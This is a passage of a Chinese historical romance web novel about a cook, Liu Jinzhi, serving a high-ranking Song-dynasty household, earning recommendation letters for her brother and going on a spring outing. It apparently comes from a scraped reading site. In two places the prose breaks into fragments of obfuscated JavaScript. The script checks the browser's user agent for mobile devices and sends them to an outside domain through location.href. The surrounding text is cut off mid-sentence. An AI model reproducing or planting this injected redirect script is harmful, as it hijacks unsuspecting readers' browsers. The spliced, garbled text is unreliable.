少女小心打量一下柳金枝,继而福身一礼,笑道:“这位想必就是柳娘子了,奴名唤双儿,是我家大姐儿的贴身侍婢,请娘子随我来。” 宅内模样也很是不凡,府邸檐角高翘如飞翼,覆琉璃筒瓦,日光下流转青金光泽。园中假山叠石,嶙峋如云,山脚环抱,曲水荷塘。 每一处景物都可以看得出其背后的花费。 柳金枝一路看的眼花缭乱。 最终抵达女眷住所。 双儿笑道:“我家大姐儿孕中身躯沉重,又易困乏,所以常要睡到三竿才起。不能先引娘子拜见,还望娘子见谅。” 话说的倒是挺有礼貌。 柳金枝也就温声细气道:“奴先为主家将吃食做着就是,只是还有一事要相问姐姐。” “什么?” “敢问主家孕中是爱吃酸,还是爱吃辣?” “孕前倒是爱用辣的,孕后便净挑了酸的吃。为着这个,大姑爷成天往外跑,寻些鲜酸膳食回来。礼部尚书柴大人也往府里连拨了两个膳工……” 柳金枝略微惊讶:“原来主家的姻亲是礼部尚书柴大人,那主家……?” 傅府能与尚书大人结为姻亲,想必自身身份也不低。 果然,双儿道:“我家老爷乃是户部尚书。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525721|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 户部尚书,从二品官员。 以一人之力掌管大宋钱粮,是权利和财富汇集的中心,自然人人拜服巴结。 当初傅霁景下榻的侯家不过是从三品的工部侍郎,三娘子所在的孙家虽是御史中丞,却也只为从三品。 难怪一个两个都对傅霁景周到侍奉,也难怪这处宅邸这么的恢弘气派。 虽然惊讶于傅家家主品阶,但总也在柳金枝意料之中。 她虽惊讶,却不惊诧,依旧面色沉静地跟着双儿走。 可堪堪路过小庭时,正好有两三位相貌俊郎儒雅的相公朝他们走来。 这几人模样颇为年轻,身上穿戴或绯红,或藏青官服,可见他们并不是无名小官,反而颇有品阶。 可他们一个个不是怀抱奶娃,就是牵着孩子。 谈笑着从她们面前走过。 双儿赶忙带着柳金枝驻足行礼,福身下去时,柳金枝只听得这几人道: “大哥,你怎么不将铭哥儿带来看望祖父?那小家伙可机灵了。” “二弟,你不知道,铭哥儿在学堂里顽皮,砸了老师的墨,被老师罚抄五遍《论语》,现在还被他娘拘在家里头出不来呢。” “哦?那确实该罚。” “诶,大哥,二哥,小弟我倒是把梅哥儿带来了。这小猢狲前几日正启蒙呢,正好叫祖父这个太子太师教教他,嘿嘿。” …… 太、太子什么? 柳金枝一怔。 太子太师?! 双儿目送这群人走远,才站起身来笑道:“我家老太爷因性格温和儒雅,学富五车,满腹诗书,所以早些年得蒙陛下垂青,亲封了太子太师,常进宫教东宫念书。” 大概是在这府里头待久了,深受府中恩惠的缘故,双儿说起傅家之事时颇为自豪,不用柳金枝细问,就已经自顾自的说了下去。 “许是因为得皇恩眷顾,老太爷与夫人膝下儿孙满堂。除了我家老爷,还有二爷、三爷、四爷,只是都分散出去做官儿了。” “这几位爷同样是多子多福,方才走过去的几位便是这几位爷的公子,也是各有官职。” “有大理寺少卿、御史台侍御史、中奉大夫……” “就是我家老爷不重香火,所以只有大姐儿和二郎两个。” 就是双儿口中随口提到的几位公子,都是不低于五品的官。 可见傅家门庭不仅仅是有钱有权那么简单,而是真正的簪缨世家,累世清流,世代书香。 家中子孙更是人才济济,福泽深厚,各自在朝堂中为大宋进言献策。 如今联姻,更是使这个家族如烈火烹油般,显出一片花团锦簇、前程无量的局面。 就算傅霁景再没出息,傅家满门荣耀都还能再延续个百年。 更何况傅霁景满腹经纶,必然能让傅家成为流芳千古的钟鸣鼎食之家。 柳金枝深吸一口气,极为震惊的同时,却也格外高兴。 这般高门大户,必然更加乐善好施。 到时给她的赏钱说不定远超司□□。 柳金枝两眼发亮。 银子!银子! 二人抵达膳房。 柳金枝仔细打量了一番。 她到司□□时,觉得司□□的膳房又大又干净,比她们家的小灶台好多了。 可现在到了傅府,只觉得司□□的膳房都沦为二等,比不得此处光鲜亮丽。 膳房内还一排站着五个小丫头,每个人身上穿着都不错,模样也灵巧。 双儿笑道:“这些便是拨给娘子使用的,娘子若有什么吩咐,尽管指派她们去做。就是食材不新鲜了,也尽可以提出来。” 这般说话,倒并不把柳金枝当作普通膳工娘子对待,反而犹如客人一般温和有礼。 既是如此,柳金枝自当尽心。 “食材若是太新鲜,我却也不要。”柳金枝眉眼弯弯,“敢问双儿娘子,这府上有没有过了一夜的素食馅料?” 29. 酸馅儿包子 双儿一怔,似是没想明白柳金枝的意思。 “娘子这是何意?这过了夜的素食馅料吃了岂不腹泻?” 柳金枝笑摇头道:“非也。” 宋代人爱吃酸馅儿包子,但他们眼中的酸馅儿包子,与柳金枝所说的并不一样。 就如《古今小说·宋四公大闹禁魂张》里写到的一句: “宋四公夜至三更前后,向金梁桥上四文钱买两只焦酸馅。” 这里的焦酸馅儿,就是指带馅儿的小吃。 而柳金枝所说的酸馅儿包子,就是要用各类食材混在一同,放至微微发酸,再启用包料。 只要做法得当,不仅不会腹泻,更是会增加馅料的鲜美程度。 但是傅府重视亲情,傅钗华又是头胎,所以阖府上下极为看重。 双儿第一次听说这酸馅儿包子,倒不敢拿主意直接端给傅钗华用。 “若是双儿娘子忧心,不如我先做一份儿,娘子再叫几个人一同来食用,若是大家皆会腹痛难忍,那我便罢了。”柳金枝道。 双儿觉得有理,松下口风:“如此,我这就差人去寻问,只是怕要费些功夫。” 府内不缺银两,对丫头们的待遇也不错,所以她们大多是不吃过夜食品的。 有个丫头站出来道:“双儿姐姐不必寻了,我哪儿倒有一盆上好的素菜馅料。本是昨夜拌好了,想包几个馄饨吃,却不想太忙,一时忘却了。” “你把馅料放哪儿了?” “拿条绳索挂在水井下头了。” 水井下头颇为寒凉,再加上正是春寒料峭时,这馅料估计正保鲜,没什么大问题。 双儿便愈加放松,笑道:“那正是巧了,你赶紧去把东西取来。” “是。” 素菜馅料被端来时,盆上还好好地盖着一层纱布。 柳金枝把纱布揭开,低头轻嗅,鼻尖顿时萦绕着一股淡淡酸味儿,不浓烈,就好像水滴入了一滴醋,倒是酸酸淡淡的好闻。 “很好,这里头的馅料已经初步发酵了。” 柳金枝很满意。 双儿歪歪头,疑惑不解:“发酵?这是什么意思?” “嗷……就是……”柳金枝挠了挠头,“就是这盆馅料已经很适合做包子的意思。” “原来是这样,娘子用词真独特。”双儿由衷的夸。 柳金枝尴尬地嘿嘿两声。 馅料初步发酵,就会形成独特的酸味儿。 这种酸味儿既可以增加馅料的鲜味儿,又可以促进消化。 一般来说,膳工会选择将之加工成一种两头尖尖长长的包子,再上蒸笼,最后得出的包子鼓鼓的,口感更加松软,咬上一口,酸香扑鼻。 像柳金枝这种爱吃酸辣口味儿的,就特别喜欢吃这种包子。 不过大概是因为丫头月钱有限,所以这盆酸馅儿里头大多是素菜。 摘蒂的木耳、洗净切丝的小白菜…… 许是觉得太没油水,于是里头又添了些肉沫。 粗略一打量,应是最便宜的猪肉。 但是也够了。 柳金枝撸起袖子,找出了一袋面粉。 古时候的筛粉技术较为粗糙,所以精细的好面粉不常见,价格又格外的贵。 司□□能拿出来的面粉虽然还有一些糙口,但已经算是精细了,傅府的面粉居然更胜一筹。 上手抓一把,粉质细腻无比,与现代品质面粉无异,一看就是筛过许多遍才得来的精品。 轻轻煽动面粉袋上方空气,更是可以闻到一股清甜的小麦香气,一看就知道是用上好的小麦粒仔细脱壳磨出来的。 果然是大富贵之家。 柳金枝感叹了一句,态度也更加认真。 毕竟好粮食不易得,要更珍惜才不算辜负。 她舀出一勺面粉,用沉淀一夜的清澈井水兑水拌匀,大力揉搓,揉出一个大大的面团。 为了让最后得出来的面食更劲道,她反复捶打面团足足一刻钟。 最后把面团从盆里挖出来的时候,手光盆光,雪白的面团干爽无比地待在案板中央。 旁边有丫头看着羡慕道:“娘子这和面的手艺真好,我和面的时候,不是粉多,就是面多。” “我也是,但偶尔也有揉得不错的时候。比如我做包子就比做馄饨好,我揉出来的馄饨皮总是太厚。” 另有丫头点头说。 柳金枝笑道:“揉面确实比较讲究,就拿做包子来说,要一杯面,两杯水,糖、盐也不能缺。” “但做馄饨又不一样了,虽然一样是一杯面,两杯水,但还要加蛋清、食言和花椒油。” “揉面则又要一变,一杯面,三杯水,却只要一小勺盐就够了。” 两个丫头听的目瞪口呆。 “原来揉面还有这么多讲究?难怪我只能做一样面食,同样的方法去做其他的就行不通了。” “柳娘子,你能再跟我们说说吗?” “我也想学。” 几个丫头凑上来。 都说教会了徒弟,饿死师傅。 所以古时候好的师傅都藏私,不肯轻易把独门绝技交出去。 因此同样的中华美食,却还分为许多派系,派系之下,又因传承人对食谱有了改良,所以又有了以传承人姓名来命名的各种招牌菜。 柳金枝理解这些前辈的,但她无意于此。 毕竟她从后世来,因风气兼容并包,早就学了百家菜系。 如今若是再死守食谱不肯教出,倒对不起后世那些教导她的老师了。 于是柳金枝将自己知道的揉面方法一一道来。 几个丫头听的认真。 其中一人听得津津有味,却叹气道:“我小时也爱做菜,却没人教我,我只好一个人瞎琢磨。进了府后,嬷嬷觉得我懂算账,想让我去内库帮忙,可我放不下膳房,就自请来这里干活儿。本来是想学些手艺的,不过至今还是个半吊子。” 柳金枝闻言,不由得朝这人看去。 眼前的女子约莫二十五岁光景,皮肤白净,眉眼虽只算得清秀,却自有一种温柔沉稳气质,就像一杯氤氲着热气的茶,看着就叫人舒心。 一个丫头道:“柳娘子,你可别看阿芹这样说,她的手艺可是我们这几个里最好的。” “是啊,每天脑子里不是想着做菜,就是想着食谱。我们还常笑她,若她不在府里头做了,要去汴京城里支个食摊,我们必然都去帮她撑场子。” 阿芹被说的不好意思,脸红道:“我哪儿有能力去支食摊?当个膳徒倒是不错。” 柳金枝听着,不由心念一动。 正好柳霄科举的钱已经存够了,若不出意外,将来柳霄就该以温书为主,至于食摊,她该另请人手。 本来她还在犹豫人手不好找,懂算账,能顾摊的人才就更不好找。 现在这个阿芹既然两者兼备,不如让她试探试探。 也就笑呵呵地问道:“阿芹娘子,你的奴契何时到期?” 阿芹想一想,满眼犹豫和迟疑,道:“算起来也就这两天了吧,其实我也不知该不该离开。” 毕竟往外一步就是不可预知的未来,但如果留在傅府,别的不说,傅府家风温和,治下有道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唉,自从有孕后,这些口脂、胭脂都用不到了。” “夫人眉不描自黑,唇不点自红,不用这些胭脂也有好气色。” 傅钗华嗔笑道:“你惯会哄我开心,我这段时间吃不好,睡不好,脸色都难看了许多。” “女子孕中确实格外辛苦,为夫又是男子,帮不到夫人什么。好在傅弟认识那位柳娘子,我与他一同请了人家来。她做的膳食我用过,十分不错。我想若夫人吃了,即便不能开胃,也能多用一些。” 柴靖温声道。 “这位柳娘子倒是没怎么听说过,我只觉得上次你去蔡氏饭馆带回来的鱼不错。”傅钗华叹了口气,“只是妇人孕中不得多食鱼虾一类的河鲜,否则对胎儿不利,我才不得不少食些。” 柴靖还要安慰,双儿却已经送了酸馅儿包子过来了。 这包子几个并排摆在一只薄胎白釉碟子里,外皮雪白,鼓鼓圆圆,就像一只只小兔子,煞是可爱。 柴靖忙不迭接过来,送到傅钗华面前,道:“夫人,膳食送来了,不如来试试?” 傅钗华叹了口气,转头吩咐丫头们将漱口盆和手帕预备好。 她怕自己刚吃就要吐。 慢吞吞走到桌边坐下,柴靖夹了一只酸馅儿包子送到她嘴边。 傅钗华犹豫了下,还是缓缓张开嘴,小小咬了一口。 30. 引荐名师 刹那间,一股淡淡的酸香进入口腔,萦绕鼻尖,腹中一直躁动不安的呕吐欲望,竟然被这股香味儿尽数抚平。 外皮的蓬松柔软,馅料的鲜香美味。 两者仿佛相得益彰。 越嚼就越有一种强烈的饥饿感从胃袋深处腾起。 等到傅钗华回过神来时,她已经就着柴靖的手又咬了一大口。 柴靖见傅钗华的饮食动作居然带上了一丝急迫,不由得大喜,连忙小心喂食,等傅钗华吃完一个,赶紧又夹一个。 直到傅钗华摆了摆手,柴靖才停了。 不过见傅钗华吃的这么香,柴靖也没忍住,傅钗华吃不下了,他干脆就把剩下的酸馅儿包子全都扫进了肚子里。 但一碟酸馅儿包子只有八个,傅钗华吃了六个,只剩下两个,这叫柴靖这个大男人根本填不饱肚子,上不上,下不下地吊在这里。 不由舔了舔嘴唇,问双儿道:“双儿,还有包子没有?” 双儿面带愧色,道:“本来是有的,但这酸馅儿包子是柳娘子的新手艺,我们怕伤了夫人是胎,就试了一遍菜,所以就没有多的了。” 傅钗华失望道:“这酸馅儿包子确实好吃,我还在想若有多的,留着蒸上一屉,可惜了。” 柴靖道:“也不知道这酸馅儿包子今日可不可以再做一次?” “我也不清楚,因为这包子馅料颇为特殊,不如请柳娘子来与姑爷、夫人说一说?” 傅钗华惊喜笑道:“快些传来。” 傅钗华没见过柳金枝本人,还以为柳金枝是名中年妇人,见着了之后发现柳金枝居然生得年轻貌美,不由得惊讶。 “柳娘子这样年轻,就有如此高超的手艺,真是天赋异禀。”傅钗华忍不住赞叹。 柳金枝福身行礼,语气温和:“夫人过誉了。听说夫人想要再做一笼酸馅儿包子,只可惜这包子的馅料难得。要前一晚就放置,直到馅料变酸。但若是放的久了,馅料太酸,吃了怕是会腹泻。” 言下之意便是馅料已经放了过久,怕是不能用了。 傅钗华顿时面露失望。 美人细眉微蹙总是惹人怜惜的。 柴靖拍了拍傅钗华的肩膀,问道:“柳娘子,还请你想想办法吧。我夫人最近吃什么都不舒服,只有这酸馅儿包子还算用的多一些。” 柳金枝也没想到傅钗华会这么喜欢她做的包子,毕竟孕妇一般都是吃什么吐什么。 但眼前这人可是她的最大金主,无论怎样都得把人家的胃牢牢抓住。 便和气笑道:“相公莫急,除却这酸馅儿包子外,我还有其他的手艺,若夫人愿意试试,我晚些时间就做了送来。” 傅钗华、柴靖闻言,都忙不迭转忧为喜,笑道:“多谢柳娘子了。” 尔后傅钗华更是从自己袖子里取出一锭银子递给柳金枝,高兴道:“这是三两银子,还请娘子收着。” 柳金枝一愣:“现下就总账么?” “不,这三两算在酬金之外,就算是我多谢娘子的手艺,让我终于能安安稳稳的吃一顿朝食。” 傅钗华笑的温柔。 柳金枝见柴靖性格颇好,傅钗华也是位好说话的。 想一想,就没有上前去接这三两赏钱,反而福身道:“夫人容秉,奴不想要这赏钱。” 傅钗华愣了一愣,疑惑道:“哦?莫不是娘子觉得这三两银子不够?” “非也,夫人出手阔绰,胜过奴平生所见,只是奴心中别有所求,所以宁愿舍弃金钱,也想求夫人一个恩典。” 傅钗华细细思索片刻,道:“你且说来听听不迟。” “奴进府时,闻得傅老爷膝下只有夫人与傅二郎君,二人自小玩伴在一起,感情深厚。敢问夫人,此言可真?” “自是真的。”傅钗华点头,唇边凝出一抹温柔怀念的笑容,“我与阿弟自小就伴在一处,确乎手足情谊深厚。”却又转为疑惑,“可这与娘子又有何干系?” “夫人,奴也有一个阿弟。”柳金枝望向傅钗华的眼,神色极为诚恳,“奴自小离家,阿弟带着年幼小妹在汴京城里吃足了苦头。阿弟他本来读书很好,却因为若要读书,家中就没银子吃饭,便中途辍学,直到现在。奴心疼阿弟,想要为他寻一位好些的先生,却求靠无门。所以……” “所以你想用这赏钱,换一位能教导你阿弟的先生?”傅钗华此刻了然。 柳金枝点头。 其实柳金枝大可以去找项志轩帮忙介绍,看在两人关系,项志轩必然不会拒绝。 但说句难听些的话,阶层不同,能介绍的老师肯定就不同。 若是傅府愿意出手帮她,介绍的自然就是名师,也能带给柳霄更大的帮助,那柳霄考中的希望就更大些。 人都有私心,她自然也想多照顾柳霄一些。 更何况这种请求对于傅钗华与柴靖来说,不过举手之劳。 傅钗华眼神温柔下来,道:“手足之情,是这世上除却父母与夫妻之外,最舍弃不掉的情感。我明白你为幼弟的心,只是我身在后宅,对科举学业一事并不清楚。” “不如去问问霁景。”柴靖弯起眉眼,在一旁给建议,“往日他一心读书,又总爱出门游学。结识的名师怕是没有一百,也有八十了。” 傅钗华犹豫道:“前院后宅怕是不好随意走动,阿弟又不认识柳娘子……” 柴靖却哈哈一笑,将傅霁景如何救了柳金枝,柳金枝如何报恩的事情一说。 “柳娘子见了霁景张口闭口必然呼其为恩公,重礼重情,咱就是让霁景出面帮一帮也并无不妥。”柴靖道。 知道了来龙去脉,傅钗华也是松一口气,不再阻止,对双儿笑道:“双儿,你去将二郎君唤来。” 双儿应声去了。 柴靖也不把柳金枝当外人,大大方方地揭傅霁景的老底。 “说起霁景,你这个做阿姐的也该管管他。现在如同老僧一般,衣裳全是暗沉沉的颜色,都比不得我这个姐夫鲜亮。钗华,你什么时候也替他去置办两身颜色衣裳?” “你以为我没想过?可他就是不肯。”傅钗华叹了口气,“小时阿弟分明还是活泼的,但我家子嗣不兴,父亲和祖父对他又有太多期望。他自己也逼着自己,一头扎进书堆不肯出来,没过几年就成了这般模样。” 柳金枝闻言,心中微动。 她还以为傅霁景天生就是这么一副端方君子相,原来也不尽然。 她不由想起柳霄。 其实从某种程度上看,柳霄和傅霁景倒是颇为相似。 一样的倔,一样的喜欢逼自己。 正说着,双儿的声音响起:“二郎君这边请。” 几人抬眸看去。 只见远远有个人影朝他们这边走来,这人穿一身莲花暗纹交领衫,中系绦带,外套一件罗素对襟衫子,一头墨发以梁冠式青玉发冠固定,中间插一根玉簪,越发衬出他俊逸儒雅似美玉。 柴靖却眼神惊奇,仿佛在看一个奇迹般,道:“钗华,你说我莫不是瞎了?怎得看见霁景做了身鲜亮打扮?” 傅钗华也没想到,微微瞪大了眼睛。 虽说今日傅霁景这套衣裳依旧以暗色为主,但能在外头搭一件罗素的对襟衫子,就已经是偌大的进步了。 但他怎得忽然变了? 傅霁景顶着二人的眼神,从容沉静地叉手下拜:“见过姐姐,姐夫。”,又转过去看柳金枝,声音轻了一些,笑眼盈盈,“见过……柳娘子。” 柳金枝赶紧还礼,又上下看看傅霁景这一身打扮,忍不住抿唇微笑。 说实话,她知晓傅霁景生得俊美不凡,只是不太会打扮。但长久以来也看惯了他那副呆板衣裳,如今陡然改换,虽确实亮眼夺目不已,却总觉得有些不像傅霁景起来,不由有些好笑。 而傅霁景对上柳金枝的笑眼,浑身似有些不自在,忍不住左右扯扯衣裳袖子,整理整理领口,确认自己的衣裳确实一丝不苟,没有哪里不对,又眼生疑惑。 难道是他这衣裳穿的还不够鲜亮? “霁景,你怎得没事儿来扯衣裳?”柴靖大大咧咧地把人拉过来,“柳娘子的阿弟要寻位老师,你认识的人多,替人参谋参谋。” 傅霁景闻言,立马收敛心神,认真思考良久,才斟酌着开口道:“我认识几位德高望重的老先生,可以引荐给娘子的弟弟,不如写下来给娘子。” 一边说着,一边取了桌上的笔墨纸砚,落笔成文,写成五封推荐信,抬手交给柳金枝。 傅霁景的字不如其人温和规矩,反而龙飞凤舞,肆意张扬,带着金戈铁马之气,煞是好看。 柳金枝忍不住欣赏了一会儿,才仔细去看信件内容。 不过上头推荐的五位老师柳金枝都不认识。 大概是柳金枝疑惑的味道太明显,傅霁景在一边温声解释道:“这几位老师都与我傅府交好,若拿着傅府的推荐信去,他们应当会给几分薄面。只是老师们都要求严格,最后结果是怎样我不能保证。当然,我自会极力斡旋。” 柳金枝高兴不已,赶忙道谢:“多谢恩人相助,算上上一次,我已经欠了恩人两个人情。往后若恩人有需要,奴必当结草衔环,以报大恩。” 傅霁景想让柳金枝不要如此生分,道:“娘子不必客气,不过举手之劳。” 但又怕心思太明显,补了一句:“我阿姐还要麻烦娘子多照顾了。” 柳金枝还以为傅霁景的意思是,若要报答他,就帮忙照顾傅钗华。 于是就像接了重大任务一般点头,认真道:“恩人放心,每日早晚两餐,我都会做好了与主家送来。我这就去预备食材!” 又福身一礼,就兴高采烈地退了出去。 傅霁景顿时一怔。 他似乎想张口说些什么,可是柳金枝想尽力报恩,因此走的速 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柳霄回过神来,眉头一松,又恢复成以前那个克己复礼的少年郎,面带微笑地两三步朝她走来。 却是刚在柳金枝面前站定,就被柳金枝点了点眉心。 “在想什么呢?眉头都要皱成一个大疙瘩了。” 柳霄摇摇头,笑道:“没想什么。” “是不是还在忧心科举的事儿?”柳金枝笑嘻嘻的,“别怕,傅府里的二郎君是个顶好的人,他愿意帮你引荐老师。瞧!” 柳金枝把那五封推荐信拿出来,秀给柳霄看,笑道:“高不高兴?” 柳霄有些疑惑,柳金枝怎么进府做一次饭就能拿到五封推荐信? 他半信半疑地接过一看,顿时瞳孔骤缩。 第一封举荐的是巨峰真人,这位从前是内阁大学士,后出家在道观隐居,常人极难见到此人真容。 第二封举荐的是宋端老学士,四十年前的榜首,诗作天下闻名。 第三封…… 五封推荐信,个个都是柳霄只曾经在传闻里听说过的人物。 甚至别说他了,就是项志轩、潘安玉这般人都不一定能见到他们,得他们指教。 “怎么了?这些老师都不好吗?”柳金枝看着柳霄变幻莫测的脸色,十分疑惑。 不对啊,傅霁景人品这么好,他一出手,必然全是名师吧。 柳霄知道柳金枝对这些大文豪都不太了解,他抿了抿唇,也没多说什么,只将推荐信收起,问: “阿姐,傅二郎君将这信给你的时候,可曾嘱咐过什么?” “哦……他只说这五位老师虽与傅府有些交情,但要求十分严格,结果他不能把握,还让我不必言谢,不过举手之劳一类。”柳金枝道。 柳霄握着信封的手不由收紧了。 他知道傅霁景这是把话往轻了说。 实际上就是这几位大儒与傅府交情甚笃,所以哪怕是傅府的二郎,都能以个人名义轻易给出五封推荐信。 可是这样的权贵之家,推荐信能是这么好拿的吗? 柳霄看向柳金枝。 只见柳金枝额头冒汗,两颊鲜红,早上去时,明明青丝不乱,此刻却因劳累,而使得鬓边发丝散开。 阿姐必然为了他在府内伏低做小,辛苦不已。 柳霄轻声道:“这些老师都非常好,谢谢阿姐。” 柳金枝松了口气,道:“既然如此,那我们改天选个吉日,去拜见这几位老师。” 既然拜师,就得带礼。 她该买些什么送给这五位老师呢? 柳金枝陷入沉思。 可从柳霄的视角看柳金枝,只能看见她不言不语,面无表情,微微垂着头,散乱的青丝垂落在耳畔,仿佛极度疲惫。 柳霄更是攥紧了拳头。 “阿姐。”柳霄忽然开口。 “……什么?”柳金枝一时没反应过来。 柳霄极其坚定地说:“以后傅府主子们有的待遇,我要让你也有!我想让你以后再不落在人后,再不屈居人下,也再不用辛苦劳累!” 柳金枝:??? 但看着柳霄干劲十足地掏出一本书,坐在驴车上拼命往下读,一副发愤图强,考不上我就跳河的模样。 意识到柳霄似乎误会了什么,但看孩子如此努力学习,她不好解释,只好摇头微笑,也在驴车上找个地方坐下。 驴车缓缓往前行驶,伴随着耳边柳霄朗朗读书声,柳金枝手搭瞭望台往前看去。 前方冬雪即将化尽,春色欲将喷薄而出。 春天就要来了。 柳金枝唇边弯起一抹微笑。 新的季节里,祈愿日子会比过往更顺遂吧! 31. 香椿 杜甫曾说:“三月三日天气新,长安水边多丽人。” 春日一到,汴京城的热闹繁华也好似翻了一番,四处花团锦簇,游人如织,富贵者走马踏青,平头百姓也出门游逛。 一时间,四处可见丽人们头戴飘纱斗笠,策马而行。 也多亏了这片好春光,柳金枝的食摊人流不减反增,每日稳定收入五百文左右,家里的高粱坛子也是越来越重了。 一家人便商量着拿出一笔钱来出去耍个来回,也不辜负这难得的和煦日子。 正好这时应天爵、项志轩一同来叩门首。 “妹子!妹子!”应天爵一进门就嚷嚷开了,“你快些出来。” 柳金枝走出门来,笑道:“应大哥,你是无事不登三宝殿,这回可又有什么喜事寻我?” 项志轩笑道:“柳娘子金口,当真是喜事。” “我今日与杏安兄弟做成了一笔生意,也是太高兴了。”应天爵脸色红润,极为高兴,“傅府叫我帮忙去一趟秦淮运货,要是干得好,说不定会给些银两给我,叫我当个铺子掌柜呢!” 应天爵觉得,这一定是他帮衬柳金枝的事情被杏安知道了,杏安后头的主子一时高兴,就给了他这个恩典。 所以他更要来和柳金枝打好关系 也就道:“现在开春了天气暖和,不如咱们一块儿出去踏青?我再派人叫上潘安玉一块,喝喝酒,吃吃菜,痛痛快快耍一天。” 这与柳金枝的想法倒是不谋而合。 不过柳霄近来发愤温书,没时间和他们出去,就只带月牙和杜卫。 柳金枝就笑道:“承蒙应大哥相邀,我没有不答应的。” 应天爵拍手一笑,道:“妹子豪爽!走走走,我去租驴车,咱们这就往城外去!” 作为汴京城第一帮闲,应天爵认识的人极多,不多时就找来两辆宽敞驴车,载了他们一行人出了城。 城外春光比城内更甚,所谓草长莺飞,所见之处凡是春色皆是翠色欲滴。连绵起伏的群山如同一片绿色波浪,风吹林响,高低起伏,波涛汹涌。 一行人寻了处可以乘凉的大槐树,树下有石凳四五个,中间坐落一张石桌,桌面颇大,可以容纳五人围坐。 几个人都笑运气好,赶紧卸下随身带着的包袱皮儿去占桌子。 柳金枝正拿手帕擦石凳呢,这时耳边传来一道清朗的男声,带着十足的兴奋。 “柳姐姐!应大哥!项兄!” 众人抬眸一望,只见融融春日之下,一名身着束袖修身茜红锦衣,脖颈上带一个金玉项圈的少年郎,手执马鞭,鲜衣怒马而来。 是潘安玉! 众人一喜,正要上前去迎。 刚上钱,却发现潘安玉身后还跟着一个冷峻青年。 青年眉眼锋利俊美,手指上戴着诸多红蓝宝石戒指,富贵大气,腰间又有一条价值千金的明玉带,绚丽夺目。 可谓是浑身的珠光宝气。 而比起潘安玉的少年意气,他更显沉稳,只是信马慢游,不急不缓地到了众人面前。 众人登时不由得面面相觑。 他们只是叫潘安玉过来,没想到潘琅寰也跟着一块儿来了。 这位老兄的性格可是一等一的目中无人,傲慢自大。 是个硬茬子! 应天爵觉得棘手,但出于礼数,还是与项志轩一同对潘琅寰叉手下拜。 “这……潘大官人怎的来了?我们也无甚准备。” 应天爵小心笑道。 潘琅寰翻身下马,目光缓缓从站在后头的柳金枝身上扫过,淡声道:“小弟向来胡闹惯了,我担心他在踏青时给你们添麻烦,故而过来看顾。” 潘安玉忍不住小声嘀咕了一句:“分明就是你自己想出来,还赖我。” 却叫潘琅寰不紧不慢地瞥了一眼,登时寒毛倒竖,赶紧住了嘴,往项志轩那边躲了躲。 正好项志轩接过话题,笑道:“这么好的春光,没有美食可就辜负了。所以来之前我就与潘兄商量,特意带了些炊具来。咱们几个人一人出一道菜,岂不妙哉?” 把做菜当乐趣。 宋朝文人在这方面真是大俗当大雅。 柳金枝在厨艺方便拿手,不过是做一道菜,自然没什么好拒绝的。 潘安玉就更愿意了。 在家里头潘琅寰就不许他进膳房,这回好不容易能过把当膳工的瘾,登时活泼起来,乐呵呵地说: “炊具就在后台的驴车上,项兄,咱们去搬来,正好我做菜的时候你还能搭把手。” 就拉着项志轩一块儿走了。 应天爵有意让潘琅寰偷闲,就道:“我会做菜,不需要帮手。不过月牙小妹人太小,得有个人看着她,不如就叫杜卫小兄弟和潘大官人……” 话没说完,潘琅寰淡淡打断他,道:“我跟着柳娘子。” 几人一怔。 柳金枝迟疑道:“潘相公,我想去山中寻些野菜,山路难行,怕是会脏了相公一身锦衣。” “不妨事。”潘琅寰挑极黑的长眉,“况且你一个女子在山中寻菜更需要人手帮忙。” 随后将马鞭挂在劲瘦的腰间,绑着金纹袖箭的手捞起驴车上一只竹编篮子,走到柳金枝身边,扬扬下巴,颇为傲娇。 “走吧。” 柳金枝便应下,转身一步朝山里走去。 但山路难行,柳金枝走的很慢。 而一向脾气不耐的潘琅寰,此时竟颇有耐心,在柳金枝身后亦步亦趋跟着,时不时还走到前头去一脚踢飞某块拦路大石。 众人虽然碍于潘琅寰威势不敢正大光明看,可全都落在后头偷偷摸摸观察,见此情形,不由得面面相觑。 项志轩嘶了一声,道:“应大哥,你说潘大官人他是不是……?” 应天爵摸着下巴点头:“我觉得是。” 只有潘安玉不明所以:“是什么是?” 一群人在打什么哑谜呢? 项志轩拍拍自己这傻兄弟的肩,真诚建议:“你以后还是和柳娘子打好关系吧。” 说不定以后就要管人家叫嫂子了。 潘安玉莫名其妙,道:“不用你说我也会,柳姐姐可是我师傅!” 应天爵一笑,道:“潘家兄弟,你可真得亏是托生到了潘家,有你家里这位凶神般的哥哥镇着。” 不然就以潘安玉这傻样,在外头早给人撕碎了。 真是傻人有傻福。 * “春日里野菜多,有荠菜、蒲公英、马齿苋……看见什么就采什么吧。” 柳金枝一边提裙走着山路,一边对身边潘琅寰说道。 潘琅寰皱了皱眉头,望着这漫山遍野的青翠,道:“可我一个也不认识。” 柳金枝眉眼弯弯,笑道:“我教你,很简单的。” 她走到路边寻觅片刻,摘起来一株绿叶红茎的菜,递到潘琅寰面前。 “瞧,这是马齿苋。” “中医上可以用它来消炎降火、减缓腹泻。” “饮食上,它可以凉拌、清炒、炒鸡蛋。只需要用蒜泥、盐等调料拌好,味道就很清新爽口。” 柳金枝站在碧绿野地里,一袭衣裙摇曳生姿,笑眼明亮,唇红齿白,说起话时,声音温柔动听。 潘琅忍不住从脸红到了脖子。 “还有这个。” 柳金枝走到别处,摘起来一株看起来像锯齿的菜。 “这是蒲公英,比马齿苋吃法更多。” “可以凉拌、蘸酱、做馅、清炒和煲汤。” “凉拌蒲公英就加入蒜末、生抽去调味。清炒时就和肉片或鸡蛋搭配。煲汤呢,就加在蛋花汤或排骨汤中。” “是不是简单又好做?” 